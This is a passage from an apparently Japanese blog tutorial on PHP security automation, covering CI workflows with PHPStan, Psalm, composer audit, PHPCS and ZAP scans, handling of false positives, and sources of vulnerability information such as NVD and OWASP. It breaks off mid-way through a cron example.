\u6bce\u9031\u6708\u66dc\u65e5\u306b\u5b9f\u884c\n\njobs:\n  security-checks:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v3\n      \n      - name: Setup PHP\n        uses: shivammathur\/setup-php@v2\n        with:\n          php-version: '8.1'\n          tools: composer:v2\n          \n      - name: Install Dependencies\n        run: composer install --prefer-dist --no-progress\n        \n      # \u9759\u7684\u89e3\u6790\uff08PHPStan\uff09\n      - name: PHPStan Analysis\n        run: vendor\/bin\/phpstan analyse src tests --level=7\n        \n      # \u9759\u7684\u89e3\u6790\uff08Psalm + \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\uff09\n      - name: Psalm Security Analysis\n        run: |\n          composer require --dev vimeo\/psalm psalm\/plugin-security\n          vendor\/bin\/psalm --taint-analysis\n          \n      # \u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\n      - name: Composer Security Check\n        run: composer audit\n        \n      # PHPCS\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ca\u30a4\u30d5\u30a1\u30fc\n      - name: PHP_CodeSniffer Security Check\n        run: |\n          composer require --dev squizlabs\/php_codesniffer pheromone\/phpcs-security-audit\n          vendor\/bin\/phpcs --standard=Security --extensions=php src\/\n          \n      # \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30e6\u30cb\u30c3\u30c8\u30c6\u30b9\u30c8\n      - name: Security Unit Tests\n        run: vendor\/bin\/phpunit --testsuite security\n        \n      # SonarQube\u89e3\u6790\uff08\u30aa\u30d7\u30b7\u30e7\u30f3\uff09\n      - name: SonarQube Scan\n        uses: SonarSource\/sonarcloud-github-action@master\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-190\">\u30c6\u30b9\u30c8\u7d50\u679c\u306e\u51e6\u7406\u3068\u5bfe\u5fdc<\/h4>\n\n\n\n<p>\u81ea\u52d5\u5316\u3055\u308c\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u306f\u5927\u91cf\u306e\u7d50\u679c\u3092\u751f\u6210\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u308c\u3089\u3092\u52b9\u679c\u7684\u306b\u51e6\u7406\u3059\u308b\u305f\u3081\u306e\u30a2\u30d7\u30ed\u30fc\u30c1\u3092\u4ee5\u4e0b\u306b\u793a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-191\">1. \u512a\u5148\u9806\u4f4d\u4ed8\u3051\u3068\u5206\u985e<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitLab CI\/CD\u306e\u4f8b - \u512a\u5148\u5ea6\u3054\u3068\u306e\u30b8\u30e7\u30d6\u5206\u5272\nsecurity:\n  stage: test\n  parallel:\n    matrix:\n      - SEVERITY: [critical, high, medium, low]\n  script:\n    - run_security_tests --severity $SEVERITY\n  allow_failure:\n    exit_codes: \n      - 0\n      - 1  # \u4f4e\u30fb\u4e2d\u512a\u5148\u5ea6\u306e\u554f\u984c\u306f\u4e00\u6642\u7684\u306b\u8a31\u5bb9\n  rules:\n    - if: $SEVERITY == \"critical\" || $SEVERITY == \"high\"\n      allow_failure: false  # \u9ad8\u512a\u5148\u5ea6\u306e\u554f\u984c\u306f\u8a31\u5bb9\u3057\u306a\u3044\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-192\">2. \u7d50\u679c\u30ec\u30dd\u30fc\u30c8\u306e\u751f\u6210\u3068\u5171\u6709<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitHub Actions\u306e\u4f8b - \u30ec\u30dd\u30fc\u30c8\u4f5c\u6210\u3068\u5171\u6709\nreport-generation:\n  runs-on: ubuntu-latest\n  needs: [security-checks]\n  steps:\n    - name: Generate HTML Report\n      run: .\/scripts\/generate-security-report.sh\n      \n    - name: Upload Report\n      uses: actions\/upload-artifact@v3\n      with:\n        name: security-report\n        path: .\/security-report.html\n        \n    - name: Send Notification\n      if: success() || failure()\n      uses: rtCamp\/action-slack-notify@v2\n      env:\n        SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}\n        SLACK_TITLE: \"Security Scan Report\"\n        SLACK_MESSAGE: \"Security scan completed. Report available as artifact.\"\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-193\">3. \u8aa4\u691c\u51fa\u306e\u51e6\u7406<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c4\u30fc\u30eb\u306f\u8aa4\u691c\u51fa\uff08\u507d\u967d\u6027\uff09\u3092\u5831\u544a\u3059\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u308c\u3089\u3092\u52b9\u7387\u7684\u306b\u7ba1\u7406\u3059\u308b\u305f\u3081\u306b\u3001\u4ee5\u4e0b\u306e\u30a2\u30d7\u30ed\u30fc\u30c1\u304c\u6709\u52b9\u3067\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30d9\u30fc\u30b9\u30e9\u30a4\u30f3\u8a2d\u5b9a<\/strong>: <code># Psalm\u306e\u4f8b vendor\/bin\/psalm --set-baseline=psalm-baseline.xml<\/code><\/li>\n\n\n\n<li><strong>\u7279\u5b9a\u306e\u554f\u984c\u306e\u6291\u5236<\/strong>: <code>\/\/ PHPStan\u306e\u4f8b \/** @phpstan-ignore-next-line *\/ $variable = $potentiallyUnsafeOperation(); \/\/ Psalm\u306e\u4f8b \/** @psalm-suppress TaintedInput *\/ function processUserInput($input) { \/\/ \u5b89\u5168\u306a\u51e6\u7406\u3092\u5b9f\u88c5\u6e08\u307f }<\/code><\/li>\n\n\n\n<li><strong>\u30ab\u30b9\u30bf\u30e0\u30eb\u30fc\u30eb\u306e\u4f5c\u6210<\/strong>: <code>&lt;!-- PHP_CodeSniffer\u306e\u30ab\u30b9\u30bf\u30e0\u30eb\u30fc\u30eb --&gt; &lt;ruleset name=\"CustomSecurityRules\"&gt; &lt;description&gt;Custom security rules with reduced false positives&lt;\/description&gt; &lt;rule ref=\"Security.all\"\/&gt; &lt;rule ref=\"Security.ValidatedSQLStatements.DoubleEscaped\"&gt; &lt;exclude-pattern&gt;*\/specific\/safe\/path\/*&lt;\/exclude-pattern&gt; &lt;\/rule&gt; &lt;\/ruleset&gt;<\/code><\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-194\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30b3\u30a2\u30ab\u30fc\u30c9\u3068\u30c8\u30ec\u30f3\u30c9\u5206\u6790<\/h4>\n\n\n\n<p>\u7d99\u7d9a\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u72b6\u614b\u3092\u53ef\u8996\u5316\u3059\u308b\u305f\u3081\u306b\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30b3\u30a2\u30ab\u30fc\u30c9\u3084\u30c8\u30ec\u30f3\u30c9\u5206\u6790\u3092\u5b9f\u88c5\u3059\u308b\u3053\u3068\u3082\u6709\u52b9\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitHub Actions\u306e\u4f8b - \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30b3\u30a2\u30ab\u30fc\u30c9\u751f\u6210\nsecurity-scorecard:\n  runs-on: ubuntu-latest\n  steps:\n    - uses: actions\/checkout@v3\n    \n    - name: OSSF Scorecard\n      uses: ossf\/scorecard-action@v1.1.2\n      with:\n        repo_token: ${{ secrets.GITHUB_TOKEN }}\n        \n    - name: Upload results\n      uses: actions\/upload-artifact@v3\n      with:\n        name: ossf-results\n        path: results.sarif\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-195\">PHP\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u9069\u3057\u305f\u6bb5\u968e\u7684\u306a\u5c0e\u5165\u30a2\u30d7\u30ed\u30fc\u30c1<\/h4>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u81ea\u52d5\u5316\u306f\u6bb5\u968e\u7684\u306b\u5c0e\u5165\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002\u4ee5\u4e0b\u306f\u3001PHP\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306b\u9069\u3057\u305f\u5c0e\u5165\u30b9\u30c6\u30c3\u30d7\u3067\u3059\uff1a<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-196\">\u7b2c1\u6bb5\u968e: \u57fa\u672c\u7684\u306a\u9759\u7684\u89e3\u6790\u3068\u4f9d\u5b58\u95a2\u4fc2\u30c1\u30a7\u30c3\u30af<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u6700\u521d\u306b\u5c0e\u5165\u3059\u308b\u57fa\u672c\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\nname: Basic Security Checks\n\non:\n  push:\n    branches: [ main, develop ]\n  pull_request:\n    branches: [ main, develop ]\n\njobs:\n  security:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v3\n      - name: Setup PHP\n        uses: shivammathur\/setup-php@v2\n        with:\n          php-version: '8.1'\n      - name: Install Dependencies\n        run: composer install --prefer-dist --no-progress\n      - name: Check Dependencies\n        run: composer audit\n      - name: Basic Static Analysis\n        run: |\n          composer require --dev phpstan\/phpstan\n          vendor\/bin\/phpstan analyse src --level=1\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-197\">\u7b2c2\u6bb5\u968e: \u9ad8\u5ea6\u306a\u9759\u7684\u89e3\u6790\u3068\u30ab\u30b9\u30bf\u30e0\u30eb\u30fc\u30eb<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># 2\u6bb5\u968e\u76ee: \u3088\u308a\u9ad8\u5ea6\u306a\u9759\u7684\u89e3\u6790\njobs:\n  advanced-security:\n    runs-on: ubuntu-latest\n    steps:\n      # \u57fa\u672c\u8a2d\u5b9a\u306f\u7701\u7565\n      - name: Advanced Static Analysis\n        run: |\n          composer require --dev vimeo\/psalm\n          vendor\/bin\/psalm --show-info=false\n      - name: Custom Security Rules\n        run: |\n          composer require --dev pheromone\/phpcs-security-audit\n          vendor\/bin\/phpcs --standard=Security src\/\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-198\">\u7b2c3\u6bb5\u968e: \u52d5\u7684\u89e3\u6790\u3068\u7d99\u7d9a\u7684\u76e3\u8996<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># 3\u6bb5\u968e\u76ee: \u52d5\u7684\u89e3\u6790\u3068\u76e3\u8996\njobs:\n  dast:\n    runs-on: ubuntu-latest\n    steps:\n      # \u57fa\u672c\u8a2d\u5b9a\u306f\u7701\u7565\n      - name: Start Application\n        run: php -S localhost:8000 -t public\/ &amp;\n      - name: ZAP Scan\n        uses: zaproxy\/action-baseline@v0.7.0\n        with:\n          target: 'http:\/\/localhost:8000'\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-199\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u81ea\u52d5\u5316\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5931\u6557\u57fa\u6e96\u306e\u660e\u78ba\u5316<\/strong>: \u521d\u671f\u6bb5\u968e\u3067\u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u304c\u898b\u3064\u304b\u3063\u3066\u3082\u30d3\u30eb\u30c9\u3092\u5931\u6557\u3055\u305b\u305a\u3001\u5f90\u3005\u306b\u53b3\u683c\u5316\u3057\u3066\u3044\u304f\u30a2\u30d7\u30ed\u30fc\u30c1\u304c\u52b9\u679c\u7684\u3067\u3059\u3002 <code># \u6bb5\u968e\u7684\u306a\u5931\u6557\u57fa\u6e96\u306e\u4f8b - name: Security Check run: vendor\/bin\/security-check --threshold=high continue-on-error: true # \u521d\u671f\u6bb5\u968e\u3067\u306f\u8a31\u5bb9<\/code><\/li>\n\n\n\n<li><strong>\u958b\u767a\u74b0\u5883\u3068\u672c\u756a\u74b0\u5883\u306e\u5206\u96e2<\/strong>: \u74b0\u5883\u3054\u3068\u306b\u7570\u306a\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u8a2d\u5b9a\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002 <code># \u74b0\u5883\u3054\u3068\u306e\u8a2d\u5b9a - name: Set Environment Specific Settings run: | if [[ \"$GITHUB_REF\" == \"refs\/heads\/main\" ]]; then echo \"SECURITY_LEVEL=strict\" &gt;&gt; $GITHUB_ENV else echo \"SECURITY_LEVEL=normal\" &gt;&gt; $GITHUB_ENV fi<\/code><\/li>\n\n\n\n<li><strong>\u30c1\u30fc\u30e0\u5168\u4f53\u306e\u95a2\u4e0e<\/strong>: \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u7279\u5b9a\u306e\u62c5\u5f53\u8005\u3060\u3051\u3067\u306a\u304f\u3001\u30c1\u30fc\u30e0\u5168\u54e1\u306e\u8cac\u4efb\u3067\u3059\u3002\u958b\u767a\u8005\u304c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u7d50\u679c\u3092\u7406\u89e3\u3057\u5bfe\u5fdc\u3067\u304d\u308b\u3088\u3046\u306b\u652f\u63f4\u3057\u307e\u3059\u3002 <code># \u30c6\u30b9\u30c8\u7d50\u679c\u3092\u958b\u767a\u8005\u306b\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af - name: Comment PR uses: actions\/github-script@v6 if: github.event_name == 'pull_request' with: script: | const fs = require('fs'); const report = fs.readFileSync('security-report.md', 'utf8'); github.rest.issues.createComment({ issue_number: context.issue.number, owner: context.repo.owner, repo: context.repo.repo, body: '## \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u7d50\u679c\\n\\n' + report });<\/code><\/li>\n<\/ol>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u306e\u81ea\u52d5\u5316\u3068\u7d99\u7d9a\u7684\u30a4\u30f3\u30c6\u30b0\u30ec\u30fc\u30b7\u30e7\u30f3\u306f\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d9\u30eb\u3092\u6301\u7d9a\u7684\u306b\u5411\u4e0a\u3055\u305b\u308b\u305f\u3081\u306e\u5f37\u529b\u306a\u624b\u6bb5\u3067\u3059\u3002\u7d44\u7e54\u306e\u898f\u6a21\u3084\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306e\u7279\u6027\u306b\u5408\u308f\u305b\u3066\u3001\u9069\u5207\u306a\u30c4\u30fc\u30eb\u3068\u6226\u7565\u3092\u9078\u629e\u3057\u3001\u6bb5\u968e\u7684\u306b\u5c0e\u5165\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-200\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u306e\u53ce\u96c6\u3068\u66f4\u65b0\u65b9\u6cd5<\/h3>\n\n\n\n<p>PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u7dad\u6301\u3059\u308b\u305f\u3081\u306b\u306f\u3001\u5e38\u306b\u6700\u65b0\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u3092\u53ce\u96c6\u3057\u3001\u9069\u5207\u306b\u5bfe\u5fdc\u3059\u308b\u3053\u3068\u304c\u4e0d\u53ef\u6b20\u3067\u3059\u3002\u65b0\u305f\u306a\u8106\u5f31\u6027\u3084\u653b\u6483\u624b\u6cd5\u306f\u65e5\u3005\u767a\u898b\u3055\u308c\u3066\u304a\u308a\u3001\u3053\u308c\u3089\u306e\u60c5\u5831\u3092\u30bf\u30a4\u30e0\u30ea\u30fc\u306b\u5165\u624b\u3059\u308b\u3053\u3068\u3067\u3001\u4e8b\u524d\u306b\u5bfe\u7b56\u3092\u8b1b\u3058\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-201\">\u4fe1\u983c\u3067\u304d\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u6e90<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-202\">1. \u516c\u5f0f\u60c5\u5831\u6e90<\/h5>\n\n\n\n<p>\u516c\u5f0f\u306e\u60c5\u5831\u6e90\u306f\u6700\u3082\u4fe1\u983c\u6027\u304c\u9ad8\u304f\u3001PHP\u3084\u305d\u306e\u30a8\u30b3\u30b7\u30b9\u30c6\u30e0\u306b\u95a2\u3059\u308b\u91cd\u8981\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/p>\n\n\n<div id=\"id-4ed018a1-8d11-424d-86cd-add550b3a720\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u60c5\u5831\u6e90<\/th><th>\u8aac\u660e<\/th><th>\u5165\u624b\u65b9\u6cd5<\/th><\/tr><\/thead><tbody><tr><td><a href=\"https:\/\/www.php.net\/security\/\">PHP\u516c\u5f0f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30da\u30fc\u30b8<\/a><\/td><td>PHP\u30b3\u30a2\u81ea\u4f53\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u3084\u8106\u5f31\u6027\u306e\u516c\u5f0f\u30a2\u30ca\u30a6\u30f3\u30b9<\/td><td>Web\u30b5\u30a4\u30c8\u95b2\u89a7\u3001RSS<\/td><\/tr><tr><td><a href=\"https:\/\/github.com\/FriendsOfPHP\/security-advisories\">PHP Security Advisories Database<\/a><\/td><td>PHP\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/td><td>GitHub\u3001Composer audit<\/td><\/tr><tr><td>\u5404\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30da\u30fc\u30b8<\/td><td>Laravel\u3001Symfony\u3001CakePHP\u306a\u3069\u5404\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u516c\u5f0f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831<\/td><td>\u5404\u516c\u5f0f\u30b5\u30a4\u30c8\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30e1\u30fc\u30ea\u30f3\u30b0\u30ea\u30b9\u30c8<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<p><strong>PHP\u516c\u5f0f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30da\u30fc\u30b8\u306e\u6d3b\u7528\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092RSS\u30ea\u30fc\u30c0\u30fc\u306b\u767b\u9332\n# https:\/\/www.php.net\/security\/feed.php\n<\/pre>\n\n\n\n<p><strong>PHP Security Advisories Database\u306e\u6d3b\u7528\u65b9\u6cd5<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Composer\u3092\u4f7f\u3063\u305f\u8106\u5f31\u6027\u30c1\u30a7\u30c3\u30af\ncomposer audit\n\n# \u7279\u5b9a\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8a73\u7d30\u60c5\u5831\ncomposer audit --format=json | jq '.advisories[] | select(.package == \"example\/package\")'\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-203\">2. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5c02\u9580\u7d44\u7e54\u30fb\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5c02\u9580\u306e\u7d44\u7e54\u3084\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306f\u3001\u5e45\u5e83\u3044\u8106\u5f31\u6027\u60c5\u5831\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n<div id=\"id-ee744941-9c75-44b0-b128-66063b2c85c2\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u60c5\u5831\u6e90<\/th><th>\u8aac\u660e<\/th><th>\u5165\u624b\u65b9\u6cd5<\/th><\/tr><\/thead><tbody><tr><td><a href=\"https:\/\/owasp.org\/\">OWASP<\/a><\/td><td>Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u6a19\u6e96\u7684\u306a\u60c5\u5831\u6e90<\/td><td>Web\u30b5\u30a4\u30c8\u3001\u30e1\u30fc\u30ea\u30f3\u30b0\u30ea\u30b9\u30c8<\/td><\/tr><tr><td><a href=\"https:\/\/cve.mitre.org\/\">CVE<\/a><\/td><td>\u5171\u901a\u8106\u5f31\u6027\u8b58\u5225\u5b50\u306e\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/td><td>Web\u30b5\u30a4\u30c8\u3001API<\/td><\/tr><tr><td><a href=\"https:\/\/nvd.nist.gov\/\">NVD<\/a><\/td><td>\u7c73\u56fd\u56fd\u7acb\u6a19\u6e96\u6280\u8853\u7814\u7a76\u6240\u306e\u8106\u5f31\u6027\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/td><td>Web\u30b5\u30a4\u30c8\u3001API\u30d5\u30a3\u30fc\u30c9<\/td><\/tr><tr><td><a href=\"https:\/\/security.snyk.io\/\">Snyk Vulnerability DB<\/a><\/td><td>\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306e\u8106\u5f31\u6027\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9<\/td><td>Web\u30b5\u30a4\u30c8\u3001API<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<p><strong>CVE\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u6d3b\u7528\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># PHP\u306b\u95a2\u9023\u3059\u308bCVE\u3092\u691c\u7d22\u3059\u308bcURL\u30b3\u30de\u30f3\u30c9\ncurl -s \"https:\/\/services.nvd.nist.gov\/rest\/json\/cves\/2.0?keywordSearch=php\" | jq '.vulnerabilities[].cve'\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-204\">3. \u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u30ea\u30bd\u30fc\u30b9<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u3084\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u304b\u3089\u306e\u60c5\u5831\u3082\u4fa1\u5024\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n<div id=\"id-a23cb11a-b416-457b-b8e9-ec629907bdf4\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u60c5\u5831\u6e90<\/th><th>\u8aac\u660e<\/th><th>\u5165\u624b\u65b9\u6cd5<\/th><\/tr><\/thead><tbody><tr><td><a href=\"https:\/\/security.stackexchange.com\/questions\/tagged\/php\">PHP Security Stack Exchange<\/a><\/td><td>PHP\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u8cea\u7591\u5fdc\u7b54<\/td><td>Web\u30b5\u30a4\u30c8\u3001RSS<\/td><\/tr><tr><td>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7814\u7a76\u8005\u306e\u30d6\u30ed\u30b0<\/td><td>\u8a73\u7d30\u306a\u5206\u6790\u3084\u65b0\u3057\u3044\u8106\u5f31\u6027\u306e\u89e3\u8aac<\/td><td>RSS\u3001Twitter<\/td><\/tr><tr><td>\u30c6\u30af\u30cb\u30ab\u30eb\u30d6\u30ed\u30b0\uff08\u4f8b\uff1a<a href=\"https:\/\/www.wordfence.com\/blog\/\">Wordfence<\/a>)<\/td><td>WordPress\/PHP\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u8a73\u7d30\u60c5\u5831<\/td><td>Web\u30b5\u30a4\u30c8\u3001\u30e1\u30fc\u30eb\u30de\u30ac\u30b8\u30f3<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<h4 class=\"wp-block-heading\" id=\"i-205\">\u60c5\u5831\u53ce\u96c6\u306e\u81ea\u52d5\u5316<\/h4>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u306e\u53ce\u96c6\u3092\u52b9\u7387\u5316\u3059\u308b\u305f\u3081\u306b\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u81ea\u52d5\u5316\u624b\u6cd5\u304c\u6709\u52b9\u3067\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-206\">1. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30e9\u30fc\u30c8\u306e\u8a2d\u5b9a<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitHub\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30e9\u30fc\u30c8\u8a2d\u5b9a\uff08.github\/dependabot.yml\uff09\nversion: 2\nupdates:\n  - package-ecosystem: \"composer\"\n    directory: \"\/\"\n    schedule:\n      interval: \"daily\"\n    open-pull-requests-limit: 10\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-207\">2. \u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u306e\u5b9a\u671f\u5b9f\u884c<\/h5>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># Cron\u30b8\u30e7\u30d6\u3068\u3057\u3066\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u3092\u5b9f\u884c\n0 9 * * * cd 